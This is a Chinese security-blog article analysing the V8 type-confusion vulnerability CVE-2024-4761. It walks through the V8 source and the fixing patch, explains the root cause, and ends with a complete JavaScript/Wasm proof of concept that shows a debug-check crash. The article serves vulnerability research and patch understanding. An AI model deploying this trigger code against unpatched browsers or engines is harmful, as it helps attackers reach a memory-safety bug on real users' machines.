freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析
2025-03-27 11:03:44
所属地 北京

前言

在讲述漏洞之前,让我们设想这样一个场景:你有一座设有严密防御的城堡,城墙高大坚固,把敌人挡在外面。你的城堡有唯一的入口,那就是一个重门深锁、有严格守卫检查的大门。然后,为了增加便利性,你决定在城堡的另一侧增加一个小门,方便城堡内的人快速出入。然而,你在增加这个新功能后,忘记了对这个小门进行同样严格的防御和检查。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查,通过这个没有守卫的小门轻易进入城堡。

本次要讲述的漏洞CVE-2024-4761就是一个城堡的小门:随着v8中wasm模块的蓬勃发展,添加了许多新类型的对象,这些新类型对于旧有的代码提出了持续不断的挑战,导致旧有代码遗漏了某些检查。

本文着重于漏洞分析,尝试从patch开始一步步构建出POC。

根据官方修复patch:https://chromium-review.googlesource.com/c/v8/v8/+/5527397,我们可以得知:该漏洞在f320600cd1f48ba6bb57c0395823fe0c5e5ec52e这个commit中被修复,parent commit为66c0bd3237b1577e6291de56003f8fddc6b65b16,因此后续的源码分析都是基于parent commit进行的。

背景知识

在进入漏洞分析之前,我们首先需要了解一下相关函数

2.1 如何触发SetOrCopyDataProperties()

漏洞被认为是一个类型混淆,位于SetOrCopyDataProperties()方法中,因此首先研究如何触发该函数

// 该函数用于读取source拥有的所有可枚举属性, 并且把他们添加到target中
  // 使用Set还是CreateDataProperty依赖于use_set参数
  // 属于excluded_properties中的值不会被复制
  V8_WARN_UNUSED_RESULT static Maybe<bool> SetOrCopyDataProperties(
      Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
      PropertiesEnumerationMode mode,
      const base::ScopedVector<Handle<Object>>* excluded_properties = nullptr,
      bool use_set = true);

这个函数没有直接暴露给js使用,而是先被封装为Runtime方法

RUNTIME_FUNCTION(Runtime_SetDataProperties) {
  HandleScope scope(isolate);
  DCHECK_EQ(2, args.length());
  Handle<JSReceiver> target = args.at<JSReceiver>(0);
  Handle<Object> source = args.at(1);

  // 2. If source is undefined or null, let keys be an empty List.
  if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
    return ReadOnlyRoots(isolate).undefined_value();
  }

  MAYBE_RETURN(JSReceiver::SetOrCopyDataProperties(
                   isolate, target, source,
                   PropertiesEnumerationMode::kEnumerationOrder),
               ReadOnlyRoots(isolate).exception());
  return ReadOnlyRoots(isolate).undefined_value();
}

RUNTIME_FUNCTION(Runtime_CopyDataProperties) {
  HandleScope scope(isolate);
  DCHECK_EQ(2, args.length());
  Handle<JSObject> target = args.at<JSObject>(0);
  Handle<Object> source = args.at(1);

  // 2. If source is undefined or null, let keys be an empty List.
  if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
    return ReadOnlyRoots(isolate).undefined_value();
  }

  MAYBE_RETURN(
      JSReceiver::SetOrCopyDataProperties(
          isolate, target, source,
          PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),
      ReadOnlyRoots(isolate).exception());
  return ReadOnlyRoots(isolate).undefined_value();

Runtime方法用于涉及到对象属性复制的slow path,比如TF定义的builtinSetDataProperties就会在   GotoIfForceSlowPath()或者fast path无法进行时时跳转到Runtime::kSetDataProperties,进入slow path的条件

  1. !(IsEmptyFixedArray(source_elements) && !IsEmptySlowElementDictionary(source_elements):source的elements不是空数组并且也不是空的dictionary,那么就进入runtime

  2. IsJSReceiverInstanceType(source_instance_type):如果是JSReceiver的衍生对象,但不是JSObject,那么就进入slow path处理

  3. IsDeprecatedMap(target_map):target的map被弃用,此时写入target会触发target map更新,fast path无法处理

  4. EnsureOnlyHasSimpleProperties(source_map, type, bailout)

  5. IsJSReceiverInstanceType(source_instance_type)

TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
  auto target = Parameter<JSReceiver>(Descriptor::kTarget);
  auto source = Parameter<Object>(Descriptor::kSource);
  auto context = Parameter<Context>(Descriptor::kContext);

  Label if_runtime(this, Label::kDeferred);
  // 强制进入slow path
  GotoIfForceSlowPath(&if_runtime);
  // 尝试fast path
  SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
                          base::nullopt, true);
  Return(UndefinedConstant());

  BIND(&if_runtime);
  TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}

一个比较简单的触发SetOrCopyDataProperties的方式就是通过Object.assign()

  • Object.assign()调用Builtin::kSetDataProperties

  • Builtin::kSetDataProperties尝试fast path失败后进入Runtime::kSetDataProperties

  • Runtime::kSetDataProperties调用到CPP方法SetOrCopyDataProperties()

// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
  TNode<IntPtrT> argc = ChangeInt32ToIntPtr(
      UncheckedParameter<Int32T>(Descriptor::kJSActualArgumentsCount));
  CodeStubArguments args(this, argc);

  auto context = Parameter<Context>(Descriptor::kContext);
  TNode<Object> target = args.GetOptionalArgumentValue(0);

  // 被写入的对象
  TNode<JSReceiver> to = ToObject_Inline(context, target);

  Label done(this);
  // 只有一个参数, 直接返回
  GotoIf(UintPtrLessThanOrEqual(args.GetLengthWithoutReceiver(),
                                IntPtrConstant(1)),
         &done);

  // 遍历assign()后续所有的参数, 对于每一个参数都调用Builtin::kSetDataProperties
  args.ForEach(
      [=](TNode<Object> next_source) {
        CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
      },
      IntPtrConstant(1));
  Goto(&done);

  // 5. Return to.
  BIND(&done);
  args.PopAndReturn(to);
}

触发slow path进入SetOrCopyDataProperties()的例子如下

// job(from)->elements非空, 进入`SetOrCopyDataProperties()`
let from = {};
from[0]=0;

let target = {};
Object.assign(target, from);
%SystemBreak();

2.2SetOrCopyDataProperties()的作用

下面分析一下SetOrCopyDataProperties()的具体行为

// static
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
    Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
    PropertiesEnumerationMode mode,
    const base::ScopedVector<Handle<Object>>* excluded_properties,
    bool use_set) {

  // 首先尝试cpp部分的fast赋值
  Maybe<bool> fast_assign =
      FastAssign(isolate, target, source, mode, excluded_properties, use_set);
  if (fast_assign.IsNothing()) return Nothing<bool>();
  if (fast_assign.FromJust()) return Just(true);

  // 获取要遍历属性的对象
  Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();

  // 获取from中所有属性的key(相当于elements和properties一起处理了)
  Handle<FixedArray> keys;
  ASSIGN_RETURN_ON_EXCEPTION_VALUE(
      isolate, keys,
      KeyAccumulator::GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,
                              ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),
      Nothing<bool>());

  // 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
  if (!from->HasFastProperties() && target->HasFastProperties() &&
      !IsJSGlobalProxy(*target)) {

    int source_length;    // source中属性的个数
    if (IsJSGlobalObject(*from)) {    // from是全局对象
      source_length = JSGlobalObject::cast(*from)
                          ->global_dictionary(kAcquireLoad)
                          ->NumberOfEnumerableProperties();
    } else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
      source_length =
          from->property_dictionary_swiss()->NumberOfEnumerableProperties();
    } else {    // from中是字典属性, 计算属性个数
      source_length =
          from->property_dictionary()->NumberOfEnumerableProperties();
    }

    // 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
    // 那么就把target中的fast properties都转换为dictionary properties
    // 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
    if (source_length > kMaxNumberOfDescriptors) {
      JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
                                    CLEAR_INOBJECT_PROPERTIES, source_length,
                                    "Copying data properties");
    }
  }

  // 遍历所有的属性
  for (int i = 0; i < keys->length(); ++i) {
    // 获取第i个属性的key对象 (属性的key也是一个js对象)
    Handle<Object> next_key(keys->get(i), isolate);
    if (excluded_properties != nullptr &&
        HasExcludedProperty(excluded_properties, next_key)) {
      continue;
    }

    // 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey).
    // 获取该key的属性描述符
    PropertyDescriptor desc;
    Maybe<bool> found =
        JSReceiver::GetOwnPropertyDescriptor(isolate, from, next_key, &desc);
    if (found.IsNothing()) return Nothing<bool>();
    // 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then
    // 该属性为可枚举属性
    if (found.FromJust() && desc.enumerable()) {
      // 获取该属性的value对象
      Handle<Object> prop_value;
      ASSIGN_RETURN_ON_EXCEPTION_VALUE(
          isolate, prop_value,
          Runtime::GetObjectProperty(isolate, from, next_key), Nothing<bool>());

      // 把属性写入target中
      if (use_set) {
        // 4c ii 2. Let status be ? Set(to, nextKey, propValue, true).
        Handle<Object> status;
        ASSIGN_RETURN_ON_EXCEPTION_VALUE(
            isolate, status,
            Runtime::SetObjectProperty(isolate, target, next_key, prop_value,
                                       StoreOrigin::kMaybeKeyed,
                                       Just(ShouldThrow::kThrowOnError)),
            Nothing<bool>());
      } else {
        // 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue).
        PropertyKey key(isolate, next_key);
        CHECK(JSReceiver::CreateDataProperty(isolate, target, key, prop_value,
                                             Just(kThrowOnError))
                  .FromJust());
      }
    }
  }

  return Just(true);
}

总结一下操作逻辑

  • 首先调用FastAssign()尝试fast path处理,失败后进入后续部分

  • 调用KeyAccumulator::GetKeys(from)获取from中的所有属性,这里就elements和properties一起处理了

  • 清理fast properties:如果from没有fast properties,但是target有fast properties,那么就会调用NormalizeProperties(target)把target中的fast properties转换为字典实现

  • 后续遍历from中所有的属性,写入target中

FastAssign()的退出条件如下:

V8_WARN_UNUSED_RESULT Maybe<bool> FastAssign(
    Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
    PropertiesEnumerationMode mode,
    const base::ScopedVector<Handle<Object>>* excluded_properties,
    bool use_set) {

  // 非空字符串被认为是non-JSReceiver, 需要在Object.assign()中显示处理
  if (!IsJSReceiver(*source)) {
    return Just(!IsString(*source) || String::cast(*source)->length() == 0);
  }
  ...

  Handle<Map> map(JSReceiver::cast(*source)->map(), isolate);

  // fast path只能处理source为JSObject的情况
  if (!IsJSObjectMap(*map)) return Just(false);
  // fast path只能处理source为simple properties的情况(非dictionary properties)
  if (!map->OnlyHasSimpleProperties()) return Just(false);

  // 只能处理source的elements为empty fixed array的情况
  Handle<JSObject> from = Handle<JSObject>::cast(source);
  if (from->elements() != ReadOnlyRoots(isolate).empty_fixed_array()) {
    return Just(false);
  }

  // 至此: 只需要遍历from的properties array
  Handle<DescriptorArray> descriptors(map->instance_descriptors(isolate),
                                      isolate);

    ...
  }
  UNREACHABLE();
}
}  // namespace

因此只要from的elements不是fixed empty array的,那么FastAssign()就会退出

漏洞根因

根据漏洞修复的diff:

diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc
index c3f5d31..13b787f 100644
--- a/src/objects/js-objects.cc
+++ b/src/objects/js-objects.cc
@@ -434,9 +434,7 @@
       Nothing<bool>());
 
   if (!from->HasFastProperties() && target->HasFastProperties() &&
-      !IsJSGlobalProxy(*target)) {
-    // JSProxy is always in slow-mode.
-    DCHECK(!IsJSProxy(*target));
+      IsJSObject(*target) && !IsJSGlobalProxy(*target)) {
     // Convert to slow properties if we're guaranteed to overflow the number of
     // descriptors.
     int source_length;

问题出现在调用NormalizeProperties(target)的逻辑上,调用JSObject::NormalizeProperties()前额外限制了target必须是JSObject。

在打上这个Patch之前:调用NormalizeProperties()时会执行Handle::cast(target)把target强制转换为JSObject类型,但是根据参数声明:Handletarget只能保证target是JSReceiver,因此Handle::cast(target)这个强制类型转换是不安全的,所以在调用前进行了一些列的类型检查:!from->HasFastProperties() && target->HasFastProperties() && ...

Maybe<bool> JSReceiver::SetOrCopyDataProperties(
    Isolate* isolate, 
    Handle<JSReceiver> target,     // <===
    Handle<Object> source,
    PropertiesEnumerationMode mode,
    const base::ScopedVector<Handle<Object>>* excluded_properties,
    bool use_set) {
  ...
  // 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
  if (!from->HasFastProperties() && target->HasFastProperties() &&
      !IsJSGlobalProxy(*target)) {

    int source_length;    // source中属性的个数
    ...

    // 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
    // 那么就把target中的fast properties都转换为dictionary properties
    // 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
    if (source_length > kMaxNumberOfDescriptors) {
      JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
                                    CLEAR_INOBJECT_PROPERTIES, source_length,
                                    "Copying data properties");
    }
  }
  ...
}

JSReceiverJSObject的区别如下,JSReceiverJSObject少了一个elements字段

extern class JSReceiver extends HeapObject {
  properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;
}

extern class JSObject extends JSReceiver {
  elements: FixedArrayBase;

因此:targetJSReceive的子类型,但又不是JSObject类型时,就会触发漏洞

根据gen/torque-generated/instance-types.h中的类继承关系,满足条件的只有JS_PROXY_TYPE, WASM_ARRAY_TYPE,WASM_STRUCT_TYPE三种类型。

V(FIRST_JS_RECEIVER_TYPE, 290) \
      V(FIRST_WASM_OBJECT_TYPE, 290) \
        V(WASM_ARRAY_TYPE, 290) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=252&c=1 */\
        V(WASM_STRUCT_TYPE, 291) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=249&c=1 */\
      V(LAST_WASM_OBJECT_TYPE, 291) \
      V(JS_PROXY_TYPE, 292) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-proxy.tq?l=5&c=1 */\
      V(FIRST_JS_OBJECT_TYPE, 293) \
        ... // JSObject的子类
      V(LAST_JS_OBJECT_TYPE, 2165) \
    V(LAST_JS_RECEIVER_TYPE, 2165) \
  V(LAST_HEAP_OBJECT_TYPE, 2165) \

因此:之前在编写SetOrCopyDataProperties()的代码时只考虑到了JS\_PROXY\_TYPE的情况,所以进行了过滤,但是后面添加WASM\_ARRAY\_TYPEWASM\_STRUCT\_TYPE时没有考虑到SetOrCopyDataProperties(),由此导致了漏洞。

构造POC

4.1 创建WasmArray对象

那么如何构造出一个WasmArray对象?研究发现v8没有直接提供JS API来创建这个对象,而且由于WASM GC是一个比较新的提案。wat2wasm这个工具目前也不支持array.new这种语法,因此只能通过wasm-module-builder构造:

const prefix = "../../";

d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

let builder = new WasmModuleBuilder();

// 添加一个WasmArray类型, 元素类型为I32, 可变
let array = builder.addArray(kWasmI32, true);

builder.addFunction(    // 添加名字为createArray的wasm函数
        'createArray', 
        makeSig([kWasmI32], [kWasmExternRef])    // 函数签名: [kWasmI32]=>[kWasmExternRef]
    ).addBody([    // 生成函数体
            kExprLocalGet, 0,    // 栈上push局部变量0, 也就是函数kWasmI32类型的参数
            kGCPrefix, kExprArrayNewDefault, array,    // 创建array类型的数组, 元素为i32的默认值
            kGCPrefix, kExprExternConvertAny,    // 把wasm的值包装为Extern类型
    ]).exportFunc();    // 导出这个函数

let instance = builder.instantiate({});    // 构建wasm实例
let wasm = instance.exports;    // 获取导入的函数
let array42 = wasm.createArray(42);    // 42为wasm array的长度
%DebugPrint(array42);

构造出WasmArray对象后就要想办法进入JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target)

4.2 进入SetOrCopyDataProperties()

对于Object.assign(...)

let from = {};
Object.assign(array42, from);

Object.assign()调用Builtin::kSetDataProperties 处理,该函数首先会尝试fast path处理:因此会先进入CSA实现的builtins方法:SetOrCopyDataProperties()

TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
  auto target = Parameter<JSReceiver>(Descriptor::kTarget);
  auto source = Parameter<Object>(Descriptor::kSource);
  auto context = Parameter<Context>(Descriptor::kContext);

  Label if_runtime(this, Label::kDeferred);
  // 强制进入slow path
  GotoIfForceSlowPath(&if_runtime);
  // 尝试fast path
  SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
                          base::nullopt, true);
  Return(UndefinedConstant());

  BIND(&if_runtime);
  TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}

为了不进入fast path,分析SetOrCopyDataProperties()源码后发现:只需要让job(from)->elements非空,这样就可以进入if_runtime分支跳转到runtime方法SetOrCopyDataProperties()进行处理。CPP编写的runtime方法SetOrCopyDataProperties()才是真正包含漏洞的地方

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;
Object.assign(array42, from);

4.3 触发NormalizeProperties()

进入SetOrCopyDataProperties()的条件如下

  1. 只要from的elements非空,FastAssign()就无法处理,进入slow path部分

  2. 首先要满足!from->HasFastProperties() && target->HasFastProperties()

    1. target->HasFastProperties()恒成立,WasmArray::propertieskEmptyFixedArray

    2. 想要满足!from->HasFastProperties(),只需要让from的properties通过字典实现即可

  3. source_length > kMaxNumberOfDescriptors:需要让from中properties超过kMaxNumberOfDescriptors个,也就是1020个,那么就可以成功进入NormalizeProperties(...,target)

Maybe<bool> JSReceiver::SetOrCopyDataProperties(
    Isolate* isolate, 
    Handle<JSReceiver> target,     // <===
    Handle<Object> source,
    PropertiesEnumerationMode mode,
    const base::ScopedVector<Handle<Object>>* excluded_properties,
    bool use_set) {
  // [1] 只要from的elements非空, FastAssign()就无法处理
  Maybe<bool> fast_assign =
      FastAssign(isolate, target, source, mode, excluded_properties, use_set);
  if (fast_assign.IsNothing()) return Nothing<bool>();
  if (fast_assign.FromJust()) return Just(true);

  ...
  // 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
  if (!from->HasFastProperties() && target->HasFastProperties() &&
      !IsJSGlobalProxy(*target)) {

    int source_length;    // source中属性的个数
    ...

    // 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
    // 那么就把target中的fast properties都转换为dictionary properties
    // 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
    if (source_length > kMaxNumberOfDescriptors) {
      JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
                                    CLEAR_INOBJECT_PROPERTIES, source_length,
                                    "Copying data properties");
    }
  }
  ...
}

因此这部分poc如下

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;

// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
    from['p'+i] = i;
}

Object.assign(array42, from);

4.4 完整POC

最终下面这样的POC即可触发crash

const prefix = "../../";

d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);

let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);

builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
    .addBody([
        kExprLocalGet, 0,
        kGCPrefix, kExprArrayNewDefault, array,
        kGCPrefix, kExprExternConvertAny,
    ]).exportFunc();

let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
%DebugPrint(array42);

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;

// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
    from['p'+i] = i;
}

Object.assign(array42, from);
%SystemBreak();

Crash

# Fatal error in ../../src/objects/map-inl.h, line 344
# Debug check failed: IsJSObjectMap(*this).

总结

这个漏洞的根因在于支持WasmGC之后添加了新的对象类型,导致与属性访问部分的老代码漏判。

实际上随着wasm模块的发展,随之而来的漏洞源源不断。对于漏洞挖掘工作提供了重要的启发:一定关注新代码,因为新的代码往往是最容易被攻击的部分。开发人员在开发过程中也必须格外留意,确保旧有的代码能够安全地处理新的代码。在我们的”城堡“上打开新的一扇”小门”时,绝不能忘记对这扇新开的”小门”进行严格的安全检查。

Reference

# 网络安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录